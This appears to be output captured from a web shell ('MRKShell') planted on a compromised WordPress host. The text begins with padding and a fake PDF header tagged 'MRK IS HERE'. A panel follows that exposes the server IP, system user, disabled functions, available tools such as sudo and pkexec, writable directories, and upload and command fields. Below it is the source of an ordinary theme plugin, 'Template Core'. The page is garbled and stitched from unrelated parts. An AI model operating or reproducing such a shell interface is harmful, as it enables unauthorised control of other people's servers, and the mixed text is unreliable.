...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/template-core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/cwd/wp-content/plugins/template-core/template-core.php
<?php
/*
Plugin Name: Template Core
Plugin URI: http://templatepath.com
Description: Template Core Plugin for Template Path Themes
Version: 1.0
Author: Template Path
Author URI: http://themeforest.net/user/template_path
*/
if ( ! defined( 'ABSPATH' ) ) exit;
/* ==========================================
 * Shortcodes
 * ========================================== */
if( ! class_exists( 'TemplateCore_Plugin' ) ) {
	class TemplateCore_Plugin {
	
		/**
		 * Plugin version.
		 *
		 * @since  1.0
		 */
		const VERSION = '1.0';	
		
		/**
		 * Instance of this class.
		 *
		 * @since  1.0
		 */
		protected static $instance = null;	
		
		/**
		 * Initialize the plugin
		 *
		 * @since  1.0
		 */
		private function __construct() {
		
			define( 'TEMPLATE_CORE_DIR', plugin_dir_path(__FILE__));
			define( 'TEMPLATE_CORE_URL', plugin_dir_url(__FILE__));
		
			define( 'TEMPLATE_TINYMCE_URI', plugin_dir_url( __FILE__ ) . 'tinymce' );			
			define( 'TEMPLATE_TINYMCE_DIR', plugin_dir_path( __FILE__ ) . 'tinymce' );
			
			define( 'TEMPLATE_CORE_WIDGETS', plugin_dir_path( __FILE__ ) . 'widgets' );
			
			add_action('init', array(&$this, 'init'));
			add_action('admin_init', array(&$this, 'admin_init'));
			add_action('wp_enqueue_scripts', array(&$this, 'template_custom_scripts'), 30);
			add_action('after_setup_theme', array(&$this, 'load_template_core_text_domain'));
			add_action('wp_ajax_tpath_shortcodes_popup', array(&$this, 'template_popup'));
			
			$this->init_widgets();
		}
		/**
		 * Registers TinyMCE rich editor buttons
		 *
		 * @return	void
		 */
		function init() {
			if ( get_user_option('rich_editing') == 'true' )
			{
				add_filter( 'mce_external_plugins', array(&$this, 'add_rich_plugins') );
				add_filter( 'mce_buttons', array(&$this, 'register_rich_buttons') );
			}
			require_once TEMPLATE_CORE_DIR . '/shortcodes/shortcodes.php';
		}
		
		/**
		 * Find and include all widget classes within widgets folder
		 *
		 * @return void
		 */
		function init_widgets() {
			foreach( glob( plugin_dir_path( __FILE__ ) . '/widgets/*.php' ) as $filename ) {
				require_once $filename;
			}
		}
		
		/**
		 * Register the plugin text domain
		 *
		 * @return void
		 */		
		function load_template_core_text_domain() {
			load_plugin_textdomain( 'TemplateCore', false, dirname( plugin_basename(__FILE__) ) . '/languages' );
		}
		
		/**
		 * Return an instance of this class.
		 *
		 * @since	 1.0
		 *
		 * @return	object	A single instance of this class.
		 */
		public static function tc_get_instance() {
			
			if ( null == self::$instance ) {
				self::$instance = new self;
			}
			return self::$instance;
			
		}		
		/**
		 * Defins TinyMCE rich editor js plugin
		 *
		 * @return	void
		 */
		function add_rich_plugins( $plugin_array )
		{
			if( is_admin() ) {
				$plugin_array['tpathShortcodes'] = TEMPLATE_TINYMCE_URI . '/plugin.js';
			}
			return $plugin_array;
		}
		/**
		 * Adds TinyMCE rich editor buttons
		 *
		 * @return	void
		 */
		function register_rich_buttons( $buttons )
		{
			array_push( $buttons, 'tpath_button' );
			return $buttons;
		}
		/**
		 * Enqueue Scripts and Styles
		 *
		 * @return	void
		 */
		function admin_init()
		{
			// css
			wp_enqueue_style( 'shortcodes-popup', TEMPLATE_TINYMCE_URI . '/css/popup.css', false, '1.0', 'all' );			
			wp_enqueue_style( 'font-awesome', TEMPLATE_TINYMCE_URI . '/css/font-awesome.css', false, '4.2.0', 'all' );
			wp_enqueue_style( 'simple-line-icons', TEMPLATE_TINYMCE_URI . '/css/simple-line-icons.css', false, '1.0', 'all' );
			wp_enqueue_style( 'flat-icons', TEMPLATE_TINYMCE_URI . '/css/flaticon.css', false, '1.0', 'all' );
			wp_enqueue_style( 'wp-color-picker' );
			// js
			wp_enqueue_script( 'jquery-ui-sortable' );
			wp_enqueue_script( 'jquery-livequery', TEMPLATE_TINYMCE_URI . '/js/jquery.livequery.js', false, '1.1.1', false );
			wp_enqueue_script( 'jquery-appendo', TEMPLATE_TINYMCE_URI . '/js/jquery.appendo.js', false, '1.0', false );
			wp_enqueue_script( 'base64', TEMPLATE_TINYMCE_URI . '/js/base64.js', false, '1.0', false );
			wp_enqueue_script( 'bootstrap-tooltip', TEMPLATE_TINYMCE_URI . '/js/bootstrap-tooltip.js', false, '2.2.2', false );	
			wp_enqueue_script( 'bootstrap-popover', TEMPLATE_TINYMCE_URI . '/js/bootstrap-popover.js', false, '2.2.2', false );	
			wp_enqueue_script( 'wp-color-picker' );
			wp_enqueue_script( 'tpath-popup', TEMPLATE_TINYMCE_URI . '/js/popup.js', false, '1.0', true );
			wp_localize_script( 'tpath-popup', 'TpathShortcodes', array( 'plugin_folder' => plugins_url( '', __FILE__ ) ) );
		}
		
		/**
		 * Popup function to show shortcode options in thickbox.
		 *
		 * @return void
		 */
		function template_popup() {
			require_once( TEMPLATE_TINYMCE_DIR . '/popup.php' );
			die();
		}
		
		/**
		 * Enqueue Scripts and Styles
		 *
		 * @return	void
		 */
		function template_custom_scripts()
		{
			if( ! is_admin() ) {
				wp_enqueue_style( 'template-core-shortcodes', TEMPLATE_CORE_URL . 'shortcodes.css' );
				
				// Easy Ticker Js
				wp_register_script( 'template-core-easy-ticker', TEMPLATE_CORE_URL . 'js/jquery.easy-ticker.min.js', array() );
				
				wp_register_script( 'template-core-shortcodes-js', TEMPLATE_CORE_URL . 'js/shortcodes.js', array('jquery') );
				wp_enqueue_script( 'template-core-shortcodes-js' );
			}		
			
		}
				
	}
}
// Load the instance of the plugin
add_action( 'plugins_loaded', array( 'TemplateCore_Plugin', 'tc_get_instance' ) );
/* ==========================================
 * Register Custom Post Types
 * ========================================== */
function tpath_core_register_post_types() {
	
	$block_labels = array(
		'name' 					=> esc_html__( 'Blocks', 'TemplateCore' ),
		'singular_name' 		=> esc_html__( 'Blocks', 'TemplateCore' ),
		'add_new' 				=> esc_html__( 'Add New', 'TemplateCore' ),
		'add_new_item' 			=> esc_html__( 'Add New Block', 'TemplateCore' ),
		'edit_item' 			=> esc_html__( 'Edit Block', 'TemplateCore' ),
		'new_item' 				=> esc_html__( 'New Block', 'TemplateCore' ),
		'all_items' 			=> esc_html__( 'Blocks', 'TemplateCore' ),
		'view_item' 			=> esc_html__( 'View Block', 'TemplateCore' ),
		'search_items' 			=> esc_html__( 'Search Blocks', 'TemplateCore' ),
		'not_found' 			=> esc_html__( 'No Blocks found', 'TemplateCore' ),
		'not_found_in_trash' 	=> esc_html__( 'No Blocks found in Trash', 'TemplateCore' ), 
		'parent_item_colon' 	=> ''
	);
	
	$block_args = array(
		'labels' 				=> $block_labels,
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'show_in_menu'       	=> true,
		'query_var' 			=> true,
		'rewrite' 				=> array( 'with_front' => false, 'slug' => 'block' ),
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'has_archive' 			=> false,
		'exclude_from_search' 	=> true,
		'supports' 				=> array( 'title', 'editor' )
	);
	
	if( ! post_type_exists('greenture_block') ) {
		register_post_type( 'greenture_block', $block_args );
	}
	
	$portfolio_labels = array(
		'name' 					=> esc_html__( 'Portfolio', 'TemplateCore' ),
		'singular_name' 		=> esc_html__( 'Portfolio', 'TemplateCore' ),
		'add_new' 				=> esc_html__( 'Add New', 'TemplateCore' ),
		'add_new_item' 			=> esc_html__( 'Add New Portfolio', 'TemplateCore' ),
		'edit_item' 			=> esc_html__( 'Edit Portfolio', 'TemplateCore' ),
		'new_item' 				=> esc_html__( 'New Portfolio', 'TemplateCore' ),
		'all_items' 			=> esc_html__( 'Portfolio', 'TemplateCore' ),
		'view_item' 			=> esc_html__( 'View Portfolio', 'TemplateCore' ),
		'search_items' 			=> esc_html__( 'Search Portfolio', 'TemplateCore' ),
		'not_found' 			=> esc_html__( 'No Portfolio found', 'TemplateCore' ),
		'not_found_in_trash' 	=> esc_html__( 'No Portfolio found in Trash', 'TemplateCore' ), 
		'parent_item_colon' 	=> ''
	);
	
	$portfolio_args = array(
		'labels' 				=> $portfolio_labels,
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'show_in_menu'       	=> true,
		'query_var' 			=> true,
		'rewrite' 				=> array( 'with_front' => false, 'slug' => 'portfolio' ),
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'has_archive' 			=> false,
		'exclude_from_search' 	=> true,
		'supports' 				=> array( 'title', 'thumbnail', 'editor' )
	);
	
	if( ! post_type_exists('greenture_portfolio') ) {
		register_post_type( 'greenture_portfolio', $portfolio_args );
	}
	
	$portfolio_category_labels = array(
		'name'              	=> esc_html__( 'Categories', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Category', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Categories', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Categories', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Category', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Category:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Category', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Category', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Category', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Category Name', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Categories', 'TemplateCore' ),
	);
	$portfolio_category_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $portfolio_category_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'portfolio-categories' ),
	);
	
	if( ! taxonomy_exists( 'portfolio_categories' ) ) {
		register_taxonomy( 'portfolio_categories', 'greenture_portfolio', $portfolio_category_args );
	}
	
	$portfolio_skills_labels = array(
		'name'              	=> esc_html__( 'Tags', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Tag', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Tags', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Tags', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Tag', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Tag:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Tag', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Tag', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Tag', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Tag', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Tags', 'TemplateCore' ),
	);
	$portfolio_skills_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $portfolio_skills_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'portfolio-tags' ),
	);
	
	if( ! taxonomy_exists( 'portfolio_skills' ) ) {
		register_taxonomy( 'portfolio_skills', 'greenture_portfolio', $portfolio_skills_args );
	}
					
	$testimonial_labels = array(
		'name' 					=> esc_html__( 'Testimonial', 'TemplateCore' ),
		'singular_name' 		=> esc_html__( 'Testimonial', 'TemplateCore' ),
		'add_new' 				=> esc_html__( 'Add New', 'TemplateCore' ),
		'add_new_item' 			=> esc_html__( 'Add New Testimonial', 'TemplateCore' ),
		'edit_item' 			=> esc_html__( 'Edit Testimonial', 'TemplateCore' ),
		'new_item' 				=> esc_html__( 'New Testimonial', 'TemplateCore' ),
		'all_items' 			=> esc_html__( 'Testimonials', 'TemplateCore' ),
		'view_item' 			=> esc_html__( 'View Testimonial', 'TemplateCore' ),
		'search_items' 			=> esc_html__( 'Search Testimonials', 'TemplateCore' ),
		'not_found' 			=> esc_html__( 'No Testimonials found', 'TemplateCore' ),
		'not_found_in_trash' 	=> esc_html__( 'No testimonials found in Trash', 'TemplateCore' ), 
		'parent_item_colon' 	=> ''
	);
	
	$testimonial_args = array(
		'labels' 				=> $testimonial_labels,
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'show_in_menu'       	=> true,
		'query_var' 			=> true,
		'rewrite' 				=> array( 'with_front' => false, 'slug' => 'testimonial' ),
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'has_archive' 			=> false,
		'exclude_from_search' 	=> true,
		'supports' 				=> array( 'title', 'thumbnail', 'editor' )
	);
	
	if( ! post_type_exists('gt_testimonial') ) {
		register_post_type( 'gt_testimonial', $testimonial_args );
	}
	
	$testimonial_category_labels = array(
		'name'              	=> esc_html__( 'Categories', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Category', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Categories', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Categories', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Category', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Category:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Category', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Category', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Category', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Category Name', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Categories', 'TemplateCore' ),
	);
	$testimonial_category_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $testimonial_category_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'authors' ),
	);
	
	if( ! taxonomy_exists( 'testimonial_categories' ) ) {
		register_taxonomy( 'testimonial_categories', 'greenture_testimonial', $testimonial_category_args );
	}
	
	// Team Member
	$team_labels = array(
		'name' 					=> esc_html__( 'Team Member', 'TemplateCore' ),
		'singular_name' 		=> esc_html__( 'Team Member', 'TemplateCore' ),
		'add_new' 				=> esc_html__( 'Add New', 'TemplateCore' ),
		'add_new_item' 			=> esc_html__( 'Add New Member', 'TemplateCore' ),
		'edit_item' 			=> esc_html__( 'Edit Member', 'TemplateCore' ),
		'new_item' 				=> esc_html__( 'New Member', 'TemplateCore' ),
		'all_items' 			=> esc_html__( 'Team Members', 'TemplateCore' ),
		'view_item' 			=> esc_html__( 'View Members', 'TemplateCore' ),
		'search_items' 			=> esc_html__( 'Search Members', 'TemplateCore' ),
		'not_found' 			=> esc_html__( 'No Members found', 'TemplateCore' ),
		'not_found_in_trash' 	=> esc_html__( 'No Members found in Trash', 'TemplateCore' ), 
		'parent_item_colon' 	=> ''
	);
	
	$team_args = array(
		'labels' 				=> $team_labels,
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'show_in_menu'       	=> true,
		'query_var' 			=> true,
		'rewrite' 				=> array( 'with_front' => false, 'slug' => 'team' ),
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'has_archive' 			=> false,
		'exclude_from_search' 	=> true,
		'supports' 				=> array( 'title', 'thumbnail', 'editor' )
	);
	
	if( ! post_type_exists('greenture_team_member') ) {
		register_post_type( 'gt_teammember', $team_args );
	}
	
	$team_member_category_labels = array(
		'name'              	=> esc_html__( 'Categories', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Category', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Categories', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Categories', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Category', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Category:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Category', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Category', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Category', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Category Name', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Categories', 'TemplateCore' ),
	);
	$team_member_category_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $team_member_category_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'members' ),
	);
	
/*	if( ! taxonomy_exists( 'team_member_categories' ) ) {
		register_taxonomy( 'team_member_categories', 'gt_teammember', $team_member_category_args );
	}*/
	
	// Service Member
	$service_labels = array(
		'name' 					=> esc_html__( 'Services', 'TemplateCore' ),
		'singular_name' 		=> esc_html__( 'Service', 'TemplateCore' ),
		'add_new' 				=> esc_html__( 'Add New', 'TemplateCore' ),
		'add_new_item' 			=> esc_html__( 'Add New Service', 'TemplateCore' ),
		'edit_item' 			=> esc_html__( 'Edit Service', 'TemplateCore' ),
		'new_item' 				=> esc_html__( 'New Service', 'TemplateCore' ),
		'all_items' 			=> esc_html__( 'All Services', 'TemplateCore' ),
		'view_item' 			=> esc_html__( 'View Service', 'TemplateCore' ),
		'search_items' 			=> esc_html__( 'Search Service', 'TemplateCore' ),
		'not_found' 			=> esc_html__( 'No Service found', 'TemplateCore' ),
		'not_found_in_trash' 	=> esc_html__( 'No Service found in Trash', 'TemplateCore' ), 
		'parent_item_colon' 	=> ''
	);
	
	$service_args = array(
		'labels' 				=> $service_labels,
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'show_in_menu'       	=> true,
		'query_var' 			=> true,
		'rewrite' 				=> array( 'with_front' => false, 'slug' => 'service' ),
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'has_archive' 			=> false,
		'exclude_from_search' 	=> true,
		'supports' 				=> array( 'title', 'thumbnail', 'editor' )
	);
	
	if( ! post_type_exists('greenture_service') ) {
		register_post_type( 'greenture_service', $service_args );
	}
	
	$service_item_category_labels = array(
		'name'              	=> esc_html__( 'Categories', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Category', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Categories', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Categories', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Category', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Category:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Category', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Category', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Category', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Category Name', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Categories', 'TemplateCore' ),
	);
	$service_item_category_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $service_item_category_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'service-category' ),
	);
	
	if( ! taxonomy_exists( 'service_categories' ) ) {
		register_taxonomy( 'service_categories', 'greenture_service', $service_item_category_args );
	}
	
	$service_skills_labels = array(
		'name'              	=> esc_html__( 'Tags', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Tag', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Tags', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Tags', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Tag', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Tag:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Tag', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Tag', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Tag', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Tag', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Tags', 'TemplateCore' ),
	);
	$service_skills_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $service_skills_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'service-tags' ),
	);
	
	if( ! taxonomy_exists( 'service_tags' ) ) {
		register_taxonomy( 'service_tags', 'greenture_service', $service_skills_args );
	}
	
	// CLIENTS
	$client_labels = array(
		'name' 					=> esc_html__( 'Clients', 'TemplateCore' ),
		'singular_name' 		=> esc_html__( 'Client', 'TemplateCore' ),
		'add_new' 				=> esc_html__( 'Add New', 'TemplateCore' ),
		'add_new_item' 			=> esc_html__( 'Add New Client', 'TemplateCore' ),
		'edit_item' 			=> esc_html__( 'Edit Client', 'TemplateCore' ),
		'new_item' 				=> esc_html__( 'New Client', 'TemplateCore' ),
		'all_items' 			=> esc_html__( 'Clients', 'TemplateCore' ),
		'view_item' 			=> esc_html__( 'View Client', 'TemplateCore' ),
		'search_items' 			=> esc_html__( 'Search Clients', 'TemplateCore' ),
		'not_found' 			=> esc_html__( 'No Clients found', 'TemplateCore' ),
		'not_found_in_trash' 	=> esc_html__( 'No clients found in Trash', 'TemplateCore' ), 
		'parent_item_colon' 	=> ''
	);
	
	$client_args = array(
		'labels' 				=> $client_labels,
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'show_in_menu'       	=> true,
		'query_var' 			=> true,
		'rewrite' 				=> array( 'with_front' => false, 'slug' => 'client' ),
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'has_archive' 			=> false,
		'exclude_from_search' 	=> true,
		'supports' 				=> array( 'title', 'thumbnail' )
	);
	
	if( ! post_type_exists('greenture_clients') ) {
		register_post_type( 'greenture_clients', $client_args );
	}
	
	$clients_category_labels = array(
		'name'              	=> esc_html__( 'Categories', 'TemplateCore' ),
		'singular_name'     	=> esc_html__( 'Category', 'TemplateCore' ),
		'search_items'      	=> esc_html__( 'Search Categories', 'TemplateCore' ),
		'all_items'         	=> esc_html__( 'All Categories', 'TemplateCore' ),
		'parent_item'       	=> esc_html__( 'Parent Category', 'TemplateCore' ),
		'parent_item_colon' 	=> esc_html__( 'Parent Category:', 'TemplateCore' ),
		'edit_item'         	=> esc_html__( 'Edit Category', 'TemplateCore' ),
		'update_item'       	=> esc_html__( 'Update Category', 'TemplateCore' ),
		'add_new_item'      	=> esc_html__( 'Add New Category', 'TemplateCore' ),
		'new_item_name'     	=> esc_html__( 'New Category Name', 'TemplateCore' ),
		'menu_name'         	=> esc_html__( 'Client Categories', 'TemplateCore' ),
	);
	$client_category_args = array(
		'hierarchical'      	=> true,
		'labels'            	=> $clients_category_labels,
		'show_ui'           	=> true,
		'show_admin_column' 	=> true,
		'show_in_nav_menus' 	=> false,
		'query_var'         	=> true,
		'rewrite'           	=> array( 'with_front' => false, 'slug' => 'clients' ),
	);
	
	if( ! taxonomy_exists( 'client_categories' ) ) {
		register_taxonomy( 'client_categories', 'greenture_clients', $client_category_args );
	}
	
	flush_rewrite_rules();
}
add_action( 'init', 'tpath_core_register_post_types', 5 );
/*
 * Get Theme Option Values
 */
 
if ( ! function_exists( 'template_core_get_option' ) ) {
	function template_core_get_option( $option_id, $default = '' ) {
	
		global $greenture_options;
		
		/* look for the saved value */
		if( isset( $greenture_options[$option_id] ) && '' != $greenture_options[$option_id] ) {
			return $greenture_options[$option_id];
		}
		
		return $default;
	
	}
}
/**
 * Visual Composer Includes Shortcodes
 */
 
if( function_exists('vc_set_as_theme') ) {
	add_shortcode( 'greenture_vc_blockquote', 'greenture_vc_blockquote_shortcode' );
	add_shortcode( 'greenture_vc_blog', 'greenture_vc_blog_shortcode' );
	add_shortcode( 'greenture_vc_clients', 'greenture_vc_clients_shortcode' );
	add_shortcode( 'greenture_vc_contact_form', 'greenture_vc_contact_form_shortcode' );
	add_shortcode( 'greenture_vc_content_carousel', 'greenture_vc_content_carousel_shortcode' );
	add_shortcode( 'greenture_vc_counter_block', 'greenture_vc_counter_block_shortcode' );
	add_shortcode( 'greenture_vc_day_counter', 'greenture_vc_day_counter_shortcode' );
	add_shortcode( 'greenture_vc_events_list', 'greenture_vc_events_list_shortcode' );
	add_shortcode( 'greenture_vc_feature_box', 'greenture_vc_feature_box_shortcode' );
	add_shortcode( 'greenture_vc_google_map', 'greenture_vc_google_map_shortcode' );
	add_shortcode( 'greenture_vc_latest_posts', 'greenture_vc_latest_posts_shortcode' );
	add_shortcode( 'greenture_vc_list_item', 'greenture_vc_list_item_shortcode' );
	add_shortcode( 'greenture_vc_portfolio', 'greenture_vc_portfolio_shortcode' );
	add_shortcode( 'greenture_vc_pricing_table', 'greenture_vc_pricing_table_shortcode' );
	add_shortcode( 'greenture_vc_section_title', 'greenture_vc_section_title_shortcode' );
	add_shortcode( 'greenture_vc_service', 'greenture_vc_service_shortcode' );
	add_shortcode( 'greenture_vc_team', 'greenture_vc_team_shortcode' );
	add_shortcode( 'greenture_vc_testimonial', 'greenture_vc_testimonial_shortcode' );
	add_shortcode( 'greenture_vc_info', 'greenture_vc_info_shortcode' );
	add_shortcode( 'greenture_iconslist', 'greenture_vc_iconslist_shortcode' );
	add_shortcode( 'greenture_vc_custom_heading_two', 'greenture_vc_section_title_two' );
	add_shortcode( 'greenture_vc_button_block', 'greenture_vc_button_block' );
	add_shortcode( 'vc_image_with_title', 'vc_image_with_title_shortcode' );
	add_shortcode( 'greanture_vc_video', 'greanture_vc_video_shortcode' );
}
		 
/* =============================================================
 *	Mailchimp Functions
 * ============================================================= */
// Calls the MailChimp API	
function call_api( $method, array $data = array() ) {
	
	if( template_core_get_option( 'mailchimp_api_key' ) != '' ) {
		$data['apikey'] = template_core_get_option( 'mailchimp_api_key' );
	}
	
	// If api key is empty do not make request
	if( empty( $data['apikey'] ) ) { 
		return false; 
	}
	
	$get_key = explode( '-', $data['apikey'] );
	
	// Store Api URL
	if( strpos( $data['apikey'], '-' ) !== false ) {
		$api_url = 'https://' . $get_key[1] . '.api.mailchimp.com/2.0/';
	}
	
	$url = $api_url . $method . '.json';
	$response = wp_remote_post( $url, array(
		'body' => $data,
		'timeout' => 15,
		'headers' => array('Accept-Encoding' => ''),
		'sslverify' => false
		)
	);	
	
	$body = wp_remote_retrieve_body( $response );
	return json_decode( $body );
}
// Gets the lists for the current API Key
function get_mailing_lists() {
	
	$args = array(
		'limit' => 20
	);	
	
	// Pings the MailChimp API
	$connection_result = call_api( 'helper/ping' );
	if( $connection_result !== false ) {
		if( isset( $connection_result->msg ) && $connection_result->msg === "Everything's Chimpy!" ) {
		} elseif( isset( $connection_result->error ) ) {
			echo "MailChimp Error: " . $connection_result->error;
		}
	} 
	
	// Get Lists from MailChimp for Current API
	$result = call_api( 'lists/list', $args );
	if( is_object( $result ) && isset( $result->data ) ) {
		return $result->data;
	}
	return false;
}
// Gets formated mailing lists in an array
function tpath_get_mailing_lists_format() {
	
	$new_key = $old_mc_api_key = '';
		
	if( template_core_get_option( 'mailchimp_api_key' ) != '' ) {
		$new_key = template_core_get_option( 'mailchimp_api_key' );
	}
	
	$old_mc_api_key  = get_transient( 'template_core_mailchimp_api_key_feed' );
	
	if( $old_mc_api_key != $new_key ) {
		// store api key in transients
		delete_transient( 'template_core_mailchimp_api_key_feed' );
		set_transient( 'template_core_mailchimp_api_key_feed', $new_key, ( 24 * 3600 ) );
		delete_transient( 'template_core_mailchimp_api_key_feed' );
	}
	
	$cached_mc_lists = get_transient( 'template_core_mailchimp_lists' );
	
	if( false === $cached_mc_lists || empty( $cached_mc_lists ) ) {
		$get_lists = get_mailing_lists();
		
		if( is_array( $get_lists ) ) {
			$lists = array();
			foreach( $get_lists as $list ) {	
				$lists["{$list->id}"] = (object) array(
					'id' => $list->id,
					'name' => $list->name								
				);
			}
			// store lists in transients
			set_transient( 'template_core_mailchimp_lists', $lists, ( 24 * 3600 ) ); // 1 day
		}
	} else {
		$lists = get_transient( 'template_core_mailchimp_lists' );		
	}
	
	$mailist = array();
	if( !empty( $lists ) ) {
		foreach( $lists as $list ) {
			$name = $list->name;
			$id = $list->id;		
			$mailist[$name] = $id;
		}
	}
	
	if( isset($mailist) ) {
		return $mailist;
	}
	return false;
}
// Get Wordpress Current Page URL
function tpath_get_current_url() {
	global $wp;
	$url = home_url( $wp->request );
	if( substr( $_SERVER['REQUEST_URI'], -1 ) === '/' ) {
		$url = trailingslashit( $url );
	}
	return esc_url( $url );
}
